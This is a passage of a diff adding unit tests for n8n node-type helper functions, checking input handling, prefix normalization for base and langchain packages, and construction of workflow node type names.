+        const alternatives = getNodeTypeAlternatives('');
+
+        expect(alternatives).toEqual([]);
+      });
+
+      it('should return empty array for whitespace-only string', () => {
+        const alternatives = getNodeTypeAlternatives('   ');
+
+        expect(alternatives).toEqual([]);
+      });
+
+      it('should return empty array for non-string input (number)', () => {
+        const alternatives = getNodeTypeAlternatives(123 as any);
+
+        expect(alternatives).toEqual([]);
+      });
+
+      it('should return empty array for non-string input (object)', () => {
+        const alternatives = getNodeTypeAlternatives({} as any);
+
+        expect(alternatives).toEqual([]);
+      });
+
+      it('should return empty array for non-string input (array)', () => {
+        const alternatives = getNodeTypeAlternatives([] as any);
+
+        expect(alternatives).toEqual([]);
+      });
+    });
+
+    describe('edge cases', () => {
+      it('should handle node type with only prefix', () => {
+        const alternatives = getNodeTypeAlternatives('nodes-base.');
+
+        expect(alternatives).toBeInstanceOf(Array);
+      });
+
+      it('should handle node type with multiple dots', () => {
+        const alternatives = getNodeTypeAlternatives('nodes-base.some.complex.type');
+
+        expect(alternatives).toBeInstanceOf(Array);
+        expect(alternatives.length).toBeGreaterThan(0);
+      });
+
+      it('should handle camelCase node names', () => {
+        const alternatives = getNodeTypeAlternatives('nodes-base.httpRequest');
+
+        expect(alternatives).toContain('nodes-base.httprequest');
+      });
+    });
+  });
+
+  describe('normalizeNodeType', () => {
+    it('should normalize n8n-nodes-base prefix', () => {
+      expect(normalizeNodeType('n8n-nodes-base.webhook')).toBe('nodes-base.webhook');
+    });
+
+    it('should normalize @n8n/n8n-nodes-langchain prefix', () => {
+      expect(normalizeNodeType('@n8n/n8n-nodes-langchain.agent')).toBe('nodes-langchain.agent');
+    });
+
+    it('should normalize n8n-nodes-langchain prefix', () => {
+      expect(normalizeNodeType('n8n-nodes-langchain.chatTrigger')).toBe('nodes-langchain.chatTrigger');
+    });
+
+    it('should leave already normalized types unchanged', () => {
+      expect(normalizeNodeType('nodes-base.slack')).toBe('nodes-base.slack');
+    });
+
+    it('should leave community nodes unchanged', () => {
+      expect(normalizeNodeType('community.customNode')).toBe('community.customNode');
+    });
+  });
+
+  describe('getWorkflowNodeType', () => {
+    it('should construct workflow node type for n8n-nodes-base', () => {
+      expect(getWorkflowNodeType('n8n-nodes-base', 'nodes-base.webhook')).toBe('n8n-nodes-base.webhook');
+    });
+
+    it('should construct workflow node type for langchain', () => {
+      expect(getWorkflowNodeType('@n8n/n8n-nodes-langchain', 'nodes-langchain.agent')).toBe('@n8n/n8n-nodes-langchain.agent');
+    });
+
+    it('should return as-is for unknown packages', () => {
+      expect(getWorkflowNodeType('custom-package', 'custom.node')).toBe('custom.node');
+    });
+  });
+});